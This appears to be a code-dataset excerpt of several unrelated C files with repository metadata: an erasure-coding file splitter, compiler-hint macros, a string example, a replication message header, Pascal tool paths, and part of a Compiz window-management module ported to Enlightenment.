prepare_nextfile(arg_p)) == NULL){goto error;} r = fwrite((void*)&shdr, sizeof(shdr), 1, outf); if (r < 1){perror("fwrite"); goto error;} outf = lharg_fclose(arg_p, outf); // prepare body data // e.g. set the data_ptrs if ((data_ptrs = (u_int8_t**)malloc(sizeof(u_int8_t*)*k))==NULL){perror("malloc"); goto error;} for (i = 0; i < k; i++){ data_ptrs[i] = segbuf + i*arg_p->blocksize; } if ((recovery_blocks = (u_int8_t*)malloc(arg_p->blocksize * m)) == NULL){perror("malloc"); goto error;} memset(recovery_blocks, 0, arg_p->blocksize * m); // encode if (cauchy_256_encode(k, m, (const unsigned char **)data_ptrs, (char *)recovery_blocks, arg_p->blocksize)) { fprintf(stderr, "encode failed.\n"); // should not fail abort(); } // write data blocks memset(&bhdr, 0, sizeof(bhdr)); bhdr.htype = HTYPE_BLKHDR; memcpy(bhdr.segment_uid, arg_p->current_seguid, SEGUID_LEN); for (i = 0; i < k; i++){ bhdr.blkid = i; if ((outf = prepare_nextfile(arg_p)) == NULL){goto error;} if (fwrite(&bhdr, sizeof(bhdr), 1, outf) < 1){perror("fwrite");goto error;} if (fwrite(data_ptrs[i], arg_p->blocksize, 1, outf) < 1){perror("fwrite");goto error;} outf = lharg_fclose(arg_p, outf); } // write redundancy blocks for (i = 0; i < m; i++){ bhdr.blkid = k+i; if ((outf = prepare_nextfile(arg_p)) == NULL){goto error;} if (fwrite(&bhdr, sizeof(bhdr), 1, outf) < 1){perror("fwrite"); goto error;} if (fwrite((recovery_blocks+(i*arg_p->blocksize)), arg_p->blocksize, 1, outf) < 1){perror("fwrite"); goto error;} outf = lharg_fclose(arg_p, outf); } // done! end: if (outf){ outf = lharg_fclose(arg_p, outf); } if (data_ptrs){ free(data_ptrs); } if (recovery_blocks){ free(recovery_blocks); } return rcode; error: fprintf(stderr, "lh_encode_segment: something wrong happen.\n"); rcode = -1; goto end; } // returns 0 on success. -1 on failure int lhsplit_readfile(char *filename, struct lhsplit_args *arg_p){ FILE *fp; int file_length; struct stat fsbuf; int full_k, full_m, k, m; int segsz; int seg_i; int r; u_int8_t *segbuf; srand((unsigned int)time(NULL)); fprintf(stderr, "reading %s\n", filename); // find file length if (stat(filename, &fsbuf) < 0){ perror("stat"); return -1; } file_length = fsbuf.st_size; fprintf(stderr, "file length: %d\n", file_length); // decide proper k and m (k * redundancy_pct < m && (k+m) < 256) for full segment k = full_k = proper_k(256, arg_p->redundancy_pct); m = full_m = 256-full_k; //fprintf(stderr, "k: %d, m: %d\n", k, m); //fprintf(stderr, "block sum: %d\n", k*arg_p->blocksize); // find segment size segsz = full_k*arg_p->blocksize; segbuf = (u_int8_t*)malloc(segsz); if (segbuf == NULL){ perror("malloc"); return -1; } if ((fp = fopen(filename, "r")) == NULL){ fprintf(stderr, "cannot open file %s\n", filename); return -1; } // for each segment of file for (seg_i = 0; seg_i*segsz < file_length && !feof(fp); seg_i++){ // read the segment int this_segsz = segsz; r = fread(segbuf, 1, segsz, fp); if (r < segsz){ // if segment length is shorter than full segment size, recalc k and m k = (r / arg_p->blocksize); if (r % arg_p->blocksize != 0){ k++; }; m = (int)(float(k)*(float(arg_p->redundancy_pct)/100))+1; assert(k+m < 256); this_segsz = r; } // encode and send if (lh_encode_segment(segbuf, this_segsz, k, m, arg_p) < 0){ fprintf(stderr, "encoding failed.\n"); return -1; } } return 0; } void help_exit(const char *message){ if (message != NULL){ fprintf(stderr, "%s\n", message); } fprintf(stderr, "lhsplit [-o (outfn-basename|-)] [-b blocksize] [-r redundancy%%] filenames\n"); exit(1); } int main(int argc, char **argv){ int opt; struct lhsplit_args args; memset(&args, 0, sizeof(args)); args.blocksize = DEFAULT_BLOCKSIZE; args.redundancy_pct = DEFAULT_REDUNDANCY_PCT; while ((opt = getopt(argc, argv, "o:b:r:")) != -1){ switch (opt){ case 'o': memcpy(args.outf_basename, optarg, MIN(strlen(optarg), sizeof(args.outf_basename)-1)); break; case 'b': args.blocksize = atoi(optarg); if (args.blocksize%8 != 0){ help_exit("blocksize%8 must be zero"); } break; case 'r': args.redundancy_pct = atoi(optarg); if (args.redundancy_pct < 0){ help_exit("redundancy must be positive number."); } break; case 'h': default: help_exit(NULL); } } if (strlen(args.outf_basename) == 0){ help_exit("please specify outfn-basename by -o option."); } if (strcmp(args.outf_basename, "-") == 0){ args.outf_stream = stdout; } init_seguid(args.current_seguid); if (optind >= argc){ help_exit("reading stdin is not yet supported\n"); } for (; optind < argc; optind++){ if (lhsplit_readfile(argv[optind], &args) < 0){ fprintf(stderr, "failed to send %s\n", argv[optind]); } } fprintf(stderr, "succeed.\n"); exit(0); }
26.231034
117
0.622059
58d5357c89bbef459fad593661145e7836f31c42
2,201
h
C
aprinter/base/Hints.h
ambrop72/aprinter
b97c3111dad96aedf653c40b976317d73ac91715
[ "BSD-2-Clause" ]
133
2015-02-02T04:20:19.000Z
2021-02-28T22:21:49.000Z
aprinter/base/Hints.h
ambrop72/aprinter
b97c3111dad96aedf653c40b976317d73ac91715
[ "BSD-2-Clause" ]
20
2015-01-06T08:41:26.000Z
2019-07-25T07:10:26.000Z
aprinter/base/Hints.h
ambrop72/aprinter
b97c3111dad96aedf653c40b976317d73ac91715
[ "BSD-2-Clause" ]
46
2015-01-05T11:26:21.000Z
2020-06-22T04:58:23.000Z
/* * Copyright (c) 2016 Ambroz Bizjak * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef APRINTER_HINTS_H #define APRINTER_HINTS_H #ifdef __GNUC__ #define AMBRO_LIKELY(x) __builtin_expect((x), 1) #define AMBRO_UNLIKELY(x) __builtin_expect((x), 0) #define AMBRO_ALWAYS_INLINE __attribute__((always_inline)) inline #define APRINTER_NO_INLINE __attribute__((noinline)) #define APRINTER_NO_RETURN __attribute__((noreturn)) #define APRINTER_RESTRICT __restrict__ #ifndef __clang__ #define APRINTER_UNROLL_LOOPS __attribute__((optimize("unroll-loops"))) #define APRINTER_OPTIMIZE_SIZE __attribute__((optimize("Os"))) #else #define APRINTER_UNROLL_LOOPS #define APRINTER_OPTIMIZE_SIZE #endif #else #define AMBRO_LIKELY(x) (x) #define AMBRO_UNLIKELY(x) (x) #define AMBRO_ALWAYS_INLINE #define APRINTER_NO_INLINE #define APRINTER_NO_RETURN #define APRINTER_RESTRICT #define APRINTER_UNROLL_LOOPS #define APRINTER_OPTIMIZE_SIZE #endif #endif
37.305085
82
0.791913
b5d221daf056d2f65d0c556dd25c4e84724d5f52
307
c
C
C/Shellwave/4-strings.c
Youngermaster/learning-programming-languages
55ce852799ced3d656df01230e4fd9e619ed3f6b
[ "MIT" ]
1
2020-07-20T15:28:50.000Z
2020-07-20T15:28:50.000Z
C/Shellwave/4-strings.c
Youngermaster/learning-programming-languages
55ce852799ced3d656df01230e4fd9e619ed3f6b
[ "MIT" ]
1
2022-03-02T13:16:03.000Z
2022-03-02T13:16:03.000Z
C/Shellwave/4-strings.c
Youngermaster/Learning-Programming-Languages
b94d3d85abc6c107877b11b42a3862d4aae8e3ee
[ "MIT" ]
null
null
null
#include <stdio.h> int main(int argc, char const *argv[]) { char message[12] = "Hello world"; printf("The message is: %s\n", message); printf("The position 2 of the array is: %c\n", message[1]); printf("The ASCII value of the position 2 of the array is: %d\n", message[1]); return 0; }
27.909091
82
0.625407
687b9e2bf13c833a6a2d5b7170195780eea8d18f
3,787
h
C
src/replication/rep_msg_pack.h
opengauss-mirror/DCF
bc41b9735088c4148fa41d1f776862c90d6c3d01
[ "MulanPSL-1.0" ]
null
null
null
src/replication/rep_msg_pack.h
opengauss-mirror/DCF
bc41b9735088c4148fa41d1f776862c90d6c3d01
[ "MulanPSL-1.0" ]
null
null
null
src/replication/rep_msg_pack.h
opengauss-mirror/DCF
bc41b9735088c4148fa41d1f776862c90d6c3d01
[ "MulanPSL-1.0" ]
null
null
null
/* * Copyright (c) 2021 Huawei Technologies Co.,Ltd. * * openGauss is licensed under Mulan PSL v2. * You can use this software according to the terms and conditions of the Mulan PSL v2. * You may obtain a copy of Mulan PSL v2 at: * * http://license.coscl.org.cn/MulanPSL2 * * THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, * EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, * MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE. * See the Mulan PSL v2 for more details. * ------------------------------------------------------------------------- * * rep_msg_pack.h * message encode & decode * * IDENTIFICATION * src/replication/rep_msg_pack.h * * ------------------------------------------------------------------------- */ #ifndef __REP_MSG_PACK_H__ #define __REP_MSG_PACK_H__ #include "cm_types.h" #include "stg_manager.h" #include "mec.h" #define REP_MSG_VER 1 #ifdef __cplusplus extern "C" { #endif typedef struct st_log_info_t { uint64 key; log_id_t log_id; char* buf; uint32 size; entry_type_t type; }rep_log_t; typedef struct st_rep_head_t { uint64 req_seq; uint64 ack_seq; uint64 trace_key; uint64 msg_ver; }rep_head_t; typedef struct st_apendlog_req { rep_head_t head; uint64 leader_term; uint32 leader_node_id; log_id_t pre_log; log_id_t leader_commit_log; log_id_t leader_first_log; uint64 cluster_min_apply_id; uint64 leader_last_index; uint64 log_count; }rep_apendlog_req_t; typedef struct st_apendlog_ack { rep_head_t head; uint64 follower_term; errno_t ret_code; log_id_t pre_log; log_id_t mismatch_log; log_id_t follower_accept_log; uint64 apply_id; }rep_apendlog_ack_t; status_t rep_encode_appendlog_head(mec_message_t* pack, const rep_apendlog_req_t* appendlog); status_t rep_decode_appendlog_head(mec_message_t* pack, rep_apendlog_req_t* appendlog); status_t rep_encode_one_log(mec_message_t* pack, uint32 pos, uint64 log_cnt, const log_entry_t* entry); status_t rep_decode_one_log(mec_message_t* pack, rep_log_t* log); status_t rep_encode_appendlog_ack(mec_message_t* pack, const rep_apendlog_ack_t* appendlog_ack); status_t rep_decode_appendlog_ack(mec_message_t* pack, rep_apendlog_ack_t* appendlog_ack); #define REP_APPEND_REQ_FMT "scn=%u,req_seq=%llu,ack_seq=%llu,src_node=%u,dest_node=%u," \ "leader=%u,leader_term=%llu,leader_last_index=%llu,pre_log=(%llu,%llu)," \ "leader_commit_log=(%llu,%llu),cluster_min_apply_id=%llu,log_count=%llu,log_begin=%llu" #define REP_APPEND_REQ_VAL(pack, req, begin) (pack)->head->serial_no, (req)->head.req_seq, (req)->head.ack_seq, \ (pack)->head->src_inst, (pack)->head->dst_inst, (req)->leader_node_id, (req)->leader_term, \ (req)->leader_last_index, (req)->pre_log.term, (req)->pre_log.index, (req)->leader_commit_log.term, \ (req)->leader_commit_log.index, (req)->cluster_min_apply_id, \ (req)->log_count, ((req)->log_count > 0 ? (begin) : 0) #define REP_APPEND_ACK_FMT "scn=%u,req_seq=%llu,ack_seq=%llu,src_node=%u,dest_node=%u,follower_term=%llu," \ "ret_code=%d,pre_log=(%llu,%llu),mismatch_log=(%llu,%llu),follower_accept_log=(%llu,%llu)," \ "apply_id=%llu" #define REP_APPEND_ACK_VAL(pack, ack) (pack)->head->serial_no, (ack)->head.req_seq, (ack)->head.ack_seq, \ (pack)->head->src_inst, (pack)->head->dst_inst, (ack)->follower_term, (ack)->ret_code, \ (ack)->pre_log.term, (ack)->pre_log.index, (ack)->mismatch_log.term, (ack)->mismatch_log.index, \ (ack)->follower_accept_log.term, (ack)->follower_accept_log.index, (ack)->apply_id #ifdef __cplusplus } #endif #endif
36.413462
113
0.682862
80992f178666fa8e759bf9a2e3527aac4717a30f
1,137
h
C
usr.bin/pascal/pc/pathnames.h
weiss/original-bsd
b44636d7febc9dcf553118bd320571864188351d
[ "Unlicense" ]
114
2015-01-18T22:55:52.000Z
2022-02-17T10:45:02.000Z
usr.bin/pascal/pc/pathnames.h
JamesLinus/original-bsd
b44636d7febc9dcf553118bd320571864188351d
[ "Unlicense" ]
null
null
null
usr.bin/pascal/pc/pathnames.h
JamesLinus/original-bsd
b44636d7febc9dcf553118bd320571864188351d
[ "Unlicense" ]
29
2015-11-03T22:05:22.000Z
2022-02-08T15:36:37.000Z
/*- * Copyright (c) 1990, 1993 * The Regents of the University of California. All rights reserved. * * %sccs.include.redist.c% * * @(#)pathnames.h 8.1 (Berkeley) 06/06/93 */ #define _PATH_PC0 "/usr/libexec/pascal/pc0" #define _PATH_PC1 "/usr/libexec/f1" #define _PATH_PC2 "/usr/libexec/pascal/pc2" #define _PATH_C2 "/usr/libexec/c2" #define _PATH_PC3 "/usr/libexec/pascal/pc3" #define _PATH_PCEXTERN "/usr/lib/pcexterns.o" #define _PATH_AS "/usr/old/bin/as" #define _PATH_LD "/usr/old/bin/ld" #define _PATH_CRT0 "/usr/lib/crt0.o" #define _PATH_MCRT0 "/usr/lib/mcrt0.o" #define _PATH_GCRT0 "/usr/lib/gcrt0.o" #define _PATH_TMP "/tmp" #define _PATH_CAT "/bin/cat" #define _PATH_HOWPC "/usr/libdata/pascal/how_pc" /* DEBUG */ #define _PATH_DPC0 "/usr/src/pgrm/pascal/pc0/obj/pc0" #ifdef vax #define _PATH_DPC1 "/usr/src/libexec/pcc/f1.vax/obj/f1" #else #ifdef tahoe #define _PATH_DPC1 "/usr/src/libexec/pcc/f1.tahoe/obj/f1" #else NO F1 PROGRAM AVAILABLE #endif #endif #define _PATH_DPC2 "/usr/src/pgrm/pascal/pc2/obj/pc2" #define _PATH_DPC3 "/usr/src/pgrm/pascal/pc3/obj/pc3" #define _PATH_DLPC "/usr/src/lib/libpc/obj/libpc.a"
27.731707
69
0.729112
cb6d1d6c7033204296f890d2a1eef48f245c1efc
145,449
c
C
src/exports/window.c
zmike/compiz
53030dda9c35db949d72334191bac71b6f39bec9
[ "BSD-2-Clause" ]
1
2019-09-17T07:24:13.000Z
2019-09-17T07:24:13.000Z
src/exports/window.c
zmike/compiz
53030dda9c35db949d72334191bac71b6f39bec9
[ "BSD-2-Clause" ]
null
null
null
src/exports/window.c
zmike/compiz
53030dda9c35db949d72334191bac71b6f39bec9
[ "BSD-2-Clause" ]
null
null
null
/* * Copyright © 2005 Novell, Inc. * * Permission to use, copy, modify, distribute, and sell this software * and its documentation for any purpose is hereby granted without * fee, provided that the above copyright notice appear in all copies * and that both that copyright notice and this permission notice * appear in supporting documentation, and that the name of * Novell, Inc. not be used in advertising or publicity pertaining to * distribution of the software without specific, written prior permission. * Novell, Inc. makes no representations about the suitability of this * software for any purpose. It is provided "as is" without express or * implied warranty. * * NOVELL, INC. DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN * NO EVENT SHALL NOVELL, INC. BE LIABLE FOR ANY SPECIAL, INDIRECT OR * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * * Author: David Reveman <davidr@novell.com> */ #define E_COMP_X #include "e_mod_main.h" #include <X11/Xlib.h> #include <X11/Xatom.h> #include <X11/Xproto.h> #include <X11/extensions/shape.h> #include <X11/extensions/Xcomposite.h> #include <stdio.h> #include <string.h> #include <strings.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> #include <compiz-core.h> #define MwmHintsFunctions (1L << 0) #define MwmHintsDecorations (1L << 1) #define PropMotifWmHintElements 3 typedef struct { unsigned long flags; unsigned long functions; unsigned long decorations; } MwmHints; static int reallocWindowPrivates(int size, void *closure) { CompScreen *s = (CompScreen *)closure; CompWindow *w; void *privates; for (w = s->windows; w; w = w->next) { privates = realloc(w->base.privates, size * sizeof (CompPrivate)); if (!privates) return FALSE; w->base.privates = (CompPrivate *)privates; } return TRUE; } int allocWindowObjectPrivateIndex(CompObject *parent) { CompScreen *screen = (CompScreen *)parent; return allocatePrivateIndex(&screen->windowPrivateLen, &screen->windowPrivateIndices, reallocWindowPrivates, (void *)screen); } void freeWindowObjectPrivateIndex(CompObject *parent, int index) { CompScreen *screen = (CompScreen *)parent; freePrivateIndex(screen->windowPrivateLen, screen->windowPrivateIndices, index); } CompBool forEachWindowObject(CompObject *parent, ObjectCallBackProc proc, void *closure) { if (parent->type == COMP_OBJECT_TYPE_SCREEN) { CompWindow *w; CORE_SCREEN(parent); for (w = s->windows; w; w = w->next) { if (!(*proc)(&w->base, closure)) return FALSE; } } return TRUE; } char * nameWindowObject(CompObject *object) { char tmp[256]; CORE_WINDOW(object); snprintf(tmp, 256, "0x%lu", w->id); return strdup(tmp); } CompObject * findWindowObject(CompObject *parent, const char *name) { if (parent->type == COMP_OBJECT_TYPE_SCREEN) { CompWindow *w; Window id = atoi(name); CORE_SCREEN(parent); for (w = s->windows; w; w = w->next) if (w->id == id) return &w->base; } return NULL; } int allocateWindowPrivateIndex(CompScreen *screen) { return compObjectAllocatePrivateIndex(&screen->base, COMP_OBJECT_TYPE_WINDOW); } void freeWindowPrivateIndex(CompScreen *screen, int index) { compObjectFreePrivateIndex(&screen->base, COMP_OBJECT_TYPE_WINDOW, index); } static Bool isAncestorTo(CompWindow *transient, CompWindow *ancestor) { if (transient->transientFor) { if (transient->transientFor == ancestor->id) return TRUE; transient = findWindowAtScreen(transient->screen, transient->transientFor); if (transient) return isAncestorTo(transient, ancestor); } return FALSE; } static void recalcNormalHints(CompWindow *window) { int maxSize; maxSize = window->screen->maxTextureSize; maxSize -= window->serverBorderWidth * 2; window->sizeHints.x = window->serverX; window->sizeHints.y = window->serverY; window->sizeHints.width = window->serverWidth; window->sizeHints.height = window->serverHeight; if (!(window->sizeHints.flags & PBaseSize)) { if (window->sizeHints.flags & PMinSize) { window->sizeHints.base_width = window->sizeHints.min_width; window->sizeHints.base_height = window->sizeHints.min_height; } else { window->sizeHints.base_width = 0; window->sizeHints.base_height = 0; } window->sizeHints.flags |= PBaseSize; } if (!(window->sizeHints.flags & PMinSize)) { window->sizeHints.min_width = window->sizeHints.base_width; window->sizeHints.min_height = window->sizeHints.base_height; window->sizeHints.flags |= PMinSize; } if (!(window->sizeHints.flags & PMaxSize)) { window->sizeHints.max_width = 65535; window->sizeHints.max_height = 65535; window->sizeHints.flags |= PMaxSize; } if (window->sizeHints.max_width < window->sizeHints.min_width) window->sizeHints.max_width = window->sizeHints.min_width; if (window->sizeHints.max_height < window->sizeHints.min_height) window->sizeHints.max_height = window->sizeHints.min_height; if (window->sizeHints.min_width < 1) window->sizeHints.min_width = 1; if (window->sizeHints.max_width < 1) window->sizeHints.max_width = 1; if (window->sizeHints.min_height < 1) window->sizeHints.min_height = 1; if (window->sizeHints.max_height < 1) window->sizeHints.max_height = 1; if (window->sizeHints.max_width > maxSize) window->sizeHints.max_width = maxSize; if (window->sizeHints.max_height > maxSize) window->sizeHints.max_height = maxSize; if (window->sizeHints.min_width > maxSize) window->sizeHints.min_width = maxSize; if (window->sizeHints.min_height > maxSize) window->sizeHints.min_height = maxSize; if (window->sizeHints.base_width > maxSize) window->sizeHints.base_width = maxSize; if (window->sizeHints.base_height > maxSize) window->sizeHints.base_height = maxSize; if (window->sizeHints.flags & PResizeInc) { if (window->sizeHints.width_inc == 0) window->sizeHints.width_inc = 1; if (window->sizeHints.height_inc == 0) window->sizeHints.height_inc = 1; } else { window->sizeHints.width_inc = 1; window->sizeHints.height_inc = 1; window->sizeHints.flags |= PResizeInc; } if (window->sizeHints.flags & PAspect) { /* don't divide by 0 */ if (window->sizeHints.min_aspect.y < 1) window->sizeHints.min_aspect.y = 1; if (window->sizeHints.max_aspect.y < 1) window->sizeHints.max_aspect.y = 1; } else { window->sizeHints.min_aspect.x = 1; window->sizeHints.min_aspect.y = 65535; window->sizeHints.max_aspect.x = 65535; window->sizeHints.max_aspect.y = 1; window->sizeHints.flags |= PAspect; } if (!(window->sizeHints.flags & PWinGravity)) { window->sizeHints.win_gravity = NorthWestGravity; window->sizeHints.flags |= PWinGravity; } } void updateNormalHints(CompWindow *w) { Status status; long supplied; status = XGetWMNormalHints(w->screen->display->display, w->id, &w->sizeHints, &supplied); if (!status) w->sizeHints.flags = 0; recalcNormalHints(w); } void updateWmHints(CompWindow *w) { XWMHints *hints; long dFlags = 0; Bool iconChanged = FALSE; if (w->hints) dFlags = w->hints->flags; w->inputHint = TRUE; hints = XGetWMHints(w->screen->display->display, w->id); if (hints) { dFlags ^= hints->flags; if (hints->flags & InputHint) w->inputHint = hints->input; if (w->hints) { if ((hints->flags & IconPixmapHint) && (w->hints->icon_pixmap != hints->icon_pixmap)) { iconChanged = TRUE; } else if ((hints->flags & IconMaskHint) && (w->hints->icon_mask != hints->icon_mask)) { iconChanged = TRUE; } } } iconChanged |= (dFlags & (IconPixmapHint | IconMaskHint)); if (iconChanged) freeWindowIcons(w); if (w->hints) XFree(w->hints); w->hints = hints; } void updateWindowClassHints(CompWindow *w) { E_Client *ec; if (w->resName) { free(w->resName); w->resName = NULL; } if (w->resClass) { free(w->resClass); w->resClass = NULL; } ec = compiz_win_to_client(w); if (ec->icccm.name) { w->resName = strdup(ec->icccm.name); } if (ec->icccm.class) { w->resClass = strdup(ec->icccm.class); } } void updateTransientHint(CompWindow *w) { Window transientFor; w->transientFor = None; transientFor = compiz_win_to_client(w)->icccm.transient_for; if (transientFor) { CompWindow *ancestor; ancestor = findWindowAtScreen(w->screen, transientFor); if (!ancestor) return; /* protect against circular transient dependencies */ if (transientFor == w->id || isAncestorTo(ancestor, w)) return; w->transientFor = transientFor; } } void updateIconGeometry(CompWindow *w) { Atom actual; int result, format; unsigned long n, left; unsigned char *data; if (!e_pixmap_is_x(compiz_win_to_client(w)->pixmap)) return; result = XGetWindowProperty(w->screen->display->display, w->id, w->screen->display->wmIconGeometryAtom, 0L, 1024L, False, XA_CARDINAL, &actual, &format, &n, &left, &data); w->iconGeometrySet = FALSE; if (result == Success && data) { if (n == 4) { unsigned long *geometry = (unsigned long *)data; w->iconGeometry.x = geometry[0]; w->iconGeometry.y = geometry[1]; w->iconGeometry.width = geometry[2]; w->iconGeometry.height = geometry[3]; w->iconGeometrySet = TRUE; } XFree(data); } } static Window getClientLeaderOfAncestor(CompWindow *w) { if (w->transientFor) { w = findWindowAtScreen(w->screen, w->transientFor); if (w) { if (w->clientLeader) return w->clientLeader; return getClientLeaderOfAncestor(w); } } return None; } Window getClientLeader(CompWindow *w) { E_Client *ec; ec = compiz_win_to_client(w); if (ec->icccm.client_leader) return ec->icccm.client_leader; return getClientLeaderOfAncestor(w); } char * getStartupId(CompWindow *w) { Atom actual; int result, format; unsigned long n, left; unsigned char *data; result = XGetWindowProperty(w->screen->display->display, w->id, w->screen->display->startupIdAtom, 0L, 1024L, False, w->screen->display->utf8StringAtom, &actual, &format, &n, &left, &data); if (result == Success && data) { char *id = NULL; if (n) id = strdup((char *)data); XFree((void *)data); return id; } return NULL; } int getWmState(CompDisplay *display, Window id) { E_Client *ec; ec = e_pixmap_find_client(E_PIXMAP_TYPE_X, id); return ec ? ec->icccm.state : 0; } void setWmState(CompDisplay *display, int state, Window id) { unsigned long data[2]; data[0] = state; data[1] = None; #warning FIXME //XChangeProperty (display->display, id, //display->wmStateAtom, display->wmStateAtom, //32, PropModeReplace, (unsigned char *) data, 2); } unsigned int windowStateMask(CompDisplay *display, Atom state) { if (state == display->winStateModalAtom) return CompWindowStateModalMask; else if (state == display->winStateStickyAtom) return CompWindowStateStickyMask; else if (state == display->winStateMaximizedVertAtom) return CompWindowStateMaximizedVertMask; else if (state == display->winStateMaximizedHorzAtom) return CompWindowStateMaximizedHorzMask; else if (state == display->winStateShadedAtom) return CompWindowStateShadedMask; else if (state == display->winStateSkipTaskbarAtom) return CompWindowStateSkipTaskbarMask; else if (state == display->winStateSkipPagerAtom) return CompWindowStateSkipPagerMask; else if (state == display->winStateHiddenAtom) return CompWindowStateHiddenMask; else if (state == display->winStateFullscreenAtom) return CompWindowStateFullscreenMask; else if (state == display->winStateAboveAtom) return CompWindowStateAboveMask; else if (state == display->winStateBelowAtom) return CompWindowStateBelowMask; else if (state == display->winStateDemandsAttentionAtom) return CompWindowStateDemandsAttentionMask; else if (state == display->winStateDisplayModalAtom) return CompWindowStateDisplayModalMask; return 0; } unsigned int windowStateFromString(const char *str) { if (strcasecmp(str, "modal") == 0) return CompWindowStateModalMask; else if (strcasecmp(str, "sticky") == 0) return CompWindowStateStickyMask; else if (strcasecmp(str, "maxvert") == 0) return CompWindowStateMaximizedVertMask; else if (strcasecmp(str, "maxhorz") == 0) return CompWindowStateMaximizedHorzMask; else if (strcasecmp(str, "shaded") == 0) return CompWindowStateShadedMask; else if (strcasecmp(str, "skiptaskbar") == 0) return CompWindowStateSkipTaskbarMask; else if (strcasecmp(str, "skippager") == 0) return CompWindowStateSkipPagerMask; else if (strcasecmp(str, "hidden") == 0) return CompWindowStateHiddenMask; else if (strcasecmp(str, "fullscreen") == 0) return CompWindowStateFullscreenMask; else if (strcasecmp(str, "above") == 0) return CompWindowStateAboveMask; else if (strcasecmp(str, "below") == 0) return CompWindowStateBelowMask; else if (strcasecmp(str, "demandsattention") == 0) return CompWindowStateDemandsAttentionMask; return 0; } unsigned int getWindowState(CompDisplay *display, Window id) { E_Client *ec; ec = e_pixmap_find_client(E_PIXMAP_TYPE_X, id); if (!ec) ec = e_pixmap_find_client(E_PIXMAP_TYPE_WL, id); if (!ec) return 0; return client_state_to_compiz_state(ec); } void setWindowState(CompDisplay *display, unsigned int state, Window id) { Atom data[32]; int i = 0; if (state & CompWindowStateModalMask) data[i++] = display->winStateModalAtom; if (state & CompWindowStateStickyMask) data[i++] = display->winStateStickyAtom; if (state & CompWindowStateMaximizedVertMask) data[i++] = display->winStateMaximizedVertAtom; if (state & CompWindowStateMaximizedHorzMask) data[i++] = display->winStateMaximizedHorzAtom; if (state & CompWindowStateShadedMask) data[i++] = display->winStateShadedAtom; if (state & CompWindowStateSkipTaskbarMask) data[i++] = display->winStateSkipTaskbarAtom; if (state & CompWindowStateSkipPagerMask) data[i++] = display->winStateSkipPagerAtom; if (state & CompWindowStateHiddenMask) data[i++] = display->winStateHiddenAtom; if (state & CompWindowStateFullscreenMask) data[i++] = display->winStateFullscreenAtom; if (state & CompWindowStateAboveMask) data[i++] = display->winStateAboveAtom; if (state & CompWindowStateBelowMask) data[i++] = display->winStateBelowAtom; if (state & CompWindowStateDemandsAttentionMask) data[i++] = display->winStateDemandsAttentionAtom; if (state & CompWindowStateDisplayModalMask) data[i++] = display->winStateDisplayModalAtom; #warning FIXME //XChangeProperty (display->display, id, display->winStateAtom, //XA_ATOM, 32, PropModeReplace, //(unsigned char *) data, i); } void changeWindowState(CompWindow *w, unsigned int newState) { CompDisplay *d = w->screen->display; unsigned int oldState; if (w->state == newState) return; oldState = w->state; w->state = newState; recalcWindowType(w); recalcWindowActions(w); if (w->managed) setWindowState(d, w->state, w->id); (*w->screen->windowStateChangeNotify)(w, oldState); (*d->matchPropertyChanged)(d, w); } static void setWindowActions(CompDisplay *display, unsigned int actions, Window id) { Atom data[32]; int i = 0; if (actions & CompWindowActionMoveMask) data[i++] = display->winActionMoveAtom; if (actions & CompWindowActionResizeMask) data[i++] = display->winActionResizeAtom; if (actions & CompWindowActionStickMask) data[i++] = display->winActionStickAtom; if (actions & CompWindowActionMinimizeMask) data[i++] = display->winActionMinimizeAtom; if (actions & CompWindowActionMaximizeHorzMask) data[i++] = display->winActionMaximizeHorzAtom; if (actions & CompWindowActionMaximizeVertMask) data[i++] = display->winActionMaximizeVertAtom; if (actions & CompWindowActionFullscreenMask) data[i++] = display->winActionFullscreenAtom; if (actions & CompWindowActionCloseMask) data[i++] = display->winActionCloseAtom; if (actions & CompWindowActionShadeMask) data[i++] = display->winActionShadeAtom; if (actions & CompWindowActionChangeDesktopMask) data[i++] = display->winActionChangeDesktopAtom; if (actions & CompWindowActionAboveMask) data[i++] = display->winActionAboveAtom; if (actions & CompWindowActionBelowMask) data[i++] = display->winActionBelowAtom; //XChangeProperty(display->display, id, display->wmAllowedActionsAtom, //XA_ATOM, 32, PropModeReplace, //(unsigned char *)data, i); } void recalcWindowActions(CompWindow *w) { unsigned int actions = 0; unsigned int setActions, clearActions; switch (w->type) { case CompWindowTypeFullscreenMask: case CompWindowTypeNormalMask: actions = CompWindowActionMaximizeHorzMask | CompWindowActionMaximizeVertMask | CompWindowActionFullscreenMask | CompWindowActionMoveMask | CompWindowActionResizeMask | CompWindowActionStickMask | 